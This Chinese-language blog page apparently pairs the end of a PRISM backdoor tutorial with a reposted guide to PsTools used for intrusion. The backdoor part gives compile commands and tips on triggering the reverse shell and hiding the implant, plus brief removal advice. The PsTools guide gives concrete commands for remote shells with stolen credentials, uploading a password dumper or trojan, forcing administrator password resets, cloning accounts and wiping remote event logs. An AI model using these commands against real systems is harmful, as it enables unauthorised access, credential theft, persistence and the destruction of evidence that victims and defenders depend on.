例如:

gcc -DDETACH -DNORENAME -Wall -s -o prism prism.c

不同平台下的交叉编译需要相关库文件:

Android平台:

apt-get install gcc-arm-linux-gnueabi
arm-linux-gnueabi-gcc -DSTATIC -DDETACH -DNORENAME -static -march=armv5 prism.c -o prism

Linux 64bit

apt-get install libc6-dev-amd64
gcc -DDETACH -m64 -Wall -s -o prism prism.c

Linux 32bit

apt-get install libc6-dev-i386
gcc -DDETACH -m32 -Wall -s -o prism prism.c

 编译好之后,可以查看后门的配置信息:

bubuko.com,布布扣

运行prism后门测试

  将该后门上传到远程后门主机,再使用sendPacket.py脚本(需以root运行)在本地发送激活包到后门主机,本地监听相关端口等待后门主机反弹连接:(这里要注意,最好时将prism.c文件上传到后门主机再进行编译,这样才更容易成功。)

bubuko.com,布布扣

  这对于采用了很多限制(比喻限制了SSH)远程服务器来说,使用该后门是不错的。而且prism服务端运行后会在后台一直运行,除非服务器重启。所以,后门开启后删除自身文件将不容易被发现。

简单讲解prism后门的清除

  首先,上面说了,该后门重启会失效,除非写在开机启动项里。所以攻击者想要继续留住后门,肯定会这样做,故首先要检查开机启动项里(比如/etc/rc.local,这可是root权限!)是否有未知启动脚本。联想起前段时间的BASH漏洞,有一个不错的思路是在cgi-bin里的某个脚本里作改变,当访问这个脚本时就可以触发这个prism后门,这样就可以不用之前的python脚本来触发了。厄,貌似这就讲到攻击了-_- 不管怎样,先得有点见识靶。搞不好还真有人会这样用呢。

  其次,虽然这个后门可以改变后门进程名,但是还是有进程存在,所以要查出这个未知进程。可以用工具查找,找到kill掉就OK了。

  最后,要设置好严格的iptables规则。该后门可以按攻击者的设置尝试清除iptables规则,所以要定期查看iptables规则是否改变。

  还有,该后门是使用ICMP协议的PING包激活的,SO,如果还真怕PRISM的会,那就过滤掉ICMP包靶,走着瞧靶v_v

  但是,站在攻击者的角度来看,想要防范prism后门还是比较难的。正如其作者所描述的那样:“No listening ports”,啥意思?就是想用啥端口连接都可以,额测试过了: ) 这么说来,貌似上上一条有失效了-_-

  所以,综上所属,最好的办法就是做好预防工作,防止被入侵。为啥?因为我是傻逼{-_-}

pstools套件 用法和小技巧

发布时间:April 12, 2015 // 分类:工作日志,windows,转帖文章 // No Comments

目录
0×00 pstool的介绍
0×01 psexec的应用详解
远程获取一个cmdshell
程序上传并执行
0×02 pspasswd的应用详解
0×03 pskill+psinfo+pslist等的应用详解
0×00 pstool的介绍
PsTools是Sysinternals Suite中一款排名靠前的一个安全管理工具套件。现在被微软收购。目前pstools中含有12款各式各样的小工具。如果将它们灵活的运用,将会在渗透中收到奇效。所有的pstool第一次运行时都会弹框。可以用–accepteula这个参数绕过。
还有所有的pstool都支持IP$,一旦IP$共享是连接的就不用输入-u 和-p这两个参数。
如何建立IP$连接。命令如下:
Net user \\目标ip\ 密码 /user:用户
Net user \\192.168.1.3\ 123456 /user:test
建立后所有的ps工具都将可以不用输入用户和密码了。
其中12款工具简介如下:
• PsExec – 远程执行进程
• PsFile – 显示远程打开的文件
• PsGetSid – 显示计算机或用户的 SID
• PsInfo – 列出有关系统的信息
• PsKill – 按名称或进程 ID 终止进程
• PsList – 列出有关进程的详细信息
• PsLoggedOn – 查看在本地通过资源共享(包含所有资源)登录的用户
• PsLogList – 转储事件日志记录
• PsPasswd - 更改帐户密码
• PsService – 查看和控制服务
• PsShutdown – 关闭并重新启动(可选)计算机
• PsSuspend – 暂停进程
这里讲对其中的几个工具进行详解,其他的将只介绍用法。
下载地址:http://download.sysinternals.com/files/PSTools.zip
0×01 psexec的应用详解
Pstools中最强大最常利用的工具就属psexec这款工具。这款工具的本意是替代telnet这种不安全的管理方式。它最大的特点就属无需安装客服端程序就可以远程操作服务器。
简单来说,就是一旦你知道服务器或者电脑的用户名和密码,你就可以利用它远程执行系统命令。这样一款工具放到渗透当中真是太淫荡了。它适用于windows NT/2x/xp/vista
下面介绍详细参数:
-u 远程计算机的用户名
-p 远程计算机用户对应密码
-c <[路径]文件名>:拷贝文件到远程机器并运行(注意:运行结束后文件会自动删除)
-d 不等待程序执行完就返回 (意思就是,当你执行一个程序无需等到他结束才返回信息)
-h用于目标系统是Vista或更高版本
其他参数就不做介绍,这里主要是讲用法。
远程获取一个cmdshell
比如我再渗透中扫描到目标机(192.168.1.3)的一个用户名(test)和密码(123456)。
那我们的命令就是:
psexec \\目标ip -u 用户名 -p 密码 进程名
psexec \\192.168.1.3 –u test –p 123456 cmd.exe
看下图,这是成功连接到一台远程服务器,并获得一个cmdshell,shell权限即位当前用户权限。
这里还将提到的是由于windows策略,将不允许空密码登陆。
可能有些机油对用户权限登陆还有疑虑,什么用户才可以登陆。
我这建立了一个属于guest的一个用户我们来看看它是否能连接。

 

 

经过测试,比guest权限大的用户组都可以远程登陆。
IIS_WPG用户组的无法远程连接,但是你不用担心,一般属于IIS_WPG用户组的用户一般也属于guest用户组。
有关用户组相关的介绍请围观法客周年庆之提权专题
下载地址: http://www.2cto.com/ebook/201211/35554.html
获取cmdshell的介绍就到这里。一旦获得一个cmdshell后面的渗透将会比较轻松。
经过测试,用最新版的pstools,windows2008 win7 都能连接成功,win8由于没有win8系统,就未测试,应该是能行的,毕竟这是微软的管理工具。
Win7连接示意图:

 

 

程序上传并执行
首先现在在本地配置一个将上传到服务器上运行的程序到H盘根目录。这里用抓取系统密码的神器getpass来演示。H:\getpass.exe

 

 

程序上传并执行命令如下:
Psexec \\192.169.1.3 –u test –p 12345 –c H:\getpass.exe –d
最后一个-d的参数可有可无~~~
只是怕程序远程运行后会卡住而无法返回信息。
测试如图:

 

 

当然你也可运行一个远控木马这些都可以~~~

Psexec 的介绍就到这里了。
0×02 pspasswd的应用详解
Pspasswd是一个用来更改用户密码的工具,支持远程密码修改和本地密码修改。这款工具的特点就是不依靠net,exe程序进行密码修改。
本地修改命令如下:
pspasswd administrator yueyan
演示图如下:

 

 

远程命令如下: www.2cto.com

pspasswd \\192.168.1.3 –u administrator –p 123456 guest yueyan
命令的意思就是,用administrator这个管理员账户登录后修改用户guest的密码为yueyan
相对来说本地修改密码的功能更强大一些。
我这将介绍个实例:
我的一个好基友Lynn得到一个jsp马,并且是nt authority\system权限。但是无法添加用户,且无法用net修改管理员密码。抓取hash密码大于14位,LMhash无效,本地又为搭建彩虹表,网上破解无果。Hash传递登陆被拦截。但是机油lynn却一直想用administrator这个用户登陆进去,当然方法还有很多,比如: mimikatz.exe抓取明文密码等,这里我将介绍pspasswd的妙用。
我们想用administrator这个账户登陆进去。很简单,直接上传一个pspasswd上服务器。
执行下面的命令:
首先执行D:\web|pspasswd.exe –accepteula (第一次执行,表示许可执行的意思)
D:\web|pspasswd.exe administrator yueyan
就会成功修改administrator的密码。
这里能修改密码的原因是pspasswd不是调用net.exe进行密码修改。
上述介绍常常配合mt.exe进行用户克隆。这里简单介绍:
(关于mt.exe的详细介绍请访问:【工具】mt.exe的详细介绍)
首先mt.exe查看用户sid,比较后看是否有克隆账户
Mt -chkuser
比较后,没有克隆账户,我们选择guest这个账户进行克隆:
Mt –clone administrator guest
然后配合pspasswd修改密码:
Pspasswd guest yueyan
就这样成功克隆一个账户,并能成功登陆访问。
Pspasswd的功能就介绍到这里。
0×03 pskill+psinfo+pslist的应用详解
首先是介绍pskill.
如果你想远程结束远程主机上的一个进程,你可以使用pskill。
我们就介绍一下常用的命令:
比如我们想远程关闭远程主机正在运行的cmd这个进程,可以用pskill进行杀掉。命令如下:
pskill \\192.168.1.3 –u test –p 123456 cmd.exe
命令很简单~~~~
我再介绍psinfo的相关应用。
基本参数是:
-h 显示已经安装的补丁信息
-s 显示已安装的软件信息
-d 显示磁盘信息
、、、、、、
如果我们想看远程主机的基本信息,命令如下:
psinfo –h –s –d \\192.168.1.3 –u administrator –p 123456
接下来就是pslist。
主要特点是,显示本地或者远程计算机的进程运行情况。
主要参数:
-m 显示内存信息
-x 显示进程,内存和线程
-t 显示进程树
-s n 在任务管理器模式先运行,n指定秒,以esc结束。
-r n 任务管理器模式刷新速率,n指秒
例如我们想看远程计算机的进程运行情况,命令如下:
Pslist –x \\192.168.1.3 –u test –p 123456
效果图如下:
其他ps工具介绍:
PSLOGGEDON:查看指定计算机的本地及远程登录的用户和登录时间。必须建立在IP$共享下才可以使用这个工具。
命令如下:
Psloggedon –l \\192.168.1.3
PSLOGLIST:事件日志转储及管理。
这个对于渗透测试是非常有用的,它最大的特点就是远程清理系统日志。
常用:
psloglist \\72.56.17.74 application -c > nul
psloglist \\72.56.17.74 system -c > nul
psloglist \\72.56.17.74 security -c > nul
分别是清理应用程序日志,系统运行日志,安全日志。
PSSERVICE:管理服务。
常用:
psservice query messenger
查询messenger服务的相关信息。
最重要的项目是:服务名称、显示名称、服务描述、服务类型、服务状态。
psservice config messenger
查询服务的配置信息。
最重要的项目是:服务名称、服务描述、服务类型、服务启动类型、服务错误控制级别、可执行文件的路径等等。
PSSHUTDOWN:关机工具。
常用命令:
Psshutdown –s –t 60
60秒后关机。
下面几个不常用,就介绍下:
• PsFile – 显示远程打开的文件
Psfile \\192.168.1.3
• PsGetSid – 显示计算机或用户的 SID
Psgetsid \\192.168.1.3
• PsSuspend – 暂停进程
Pssuspend \\192.168.1.3 –u test –p 123456 cmd,exe

最后的最后,附上下载地址:https://download.sysinternals.com/files/PSTools.zip

或者http://0cx.cc/usr/uploads/2015/05/2718755970.zip

分类
最新文章
最近回复
  • 没穿底裤: 直接在hosts里面.激活的时候访问不到正确的地址
  • Sfish: 屏蔽更新是在控制台设置一下就可以了,还是说要在其他层面做一下限制,比如配置一下hosts让他升...
  • 没穿底裤: 激活,或者屏蔽地址禁止升级
  • 没穿底裤: 呃..这个思路不错啊..
  • Sfish: 博主好,想问一下,wvs11的破解版,是不是每隔一段时间就要重新激活一次才可以?有没有什么解决...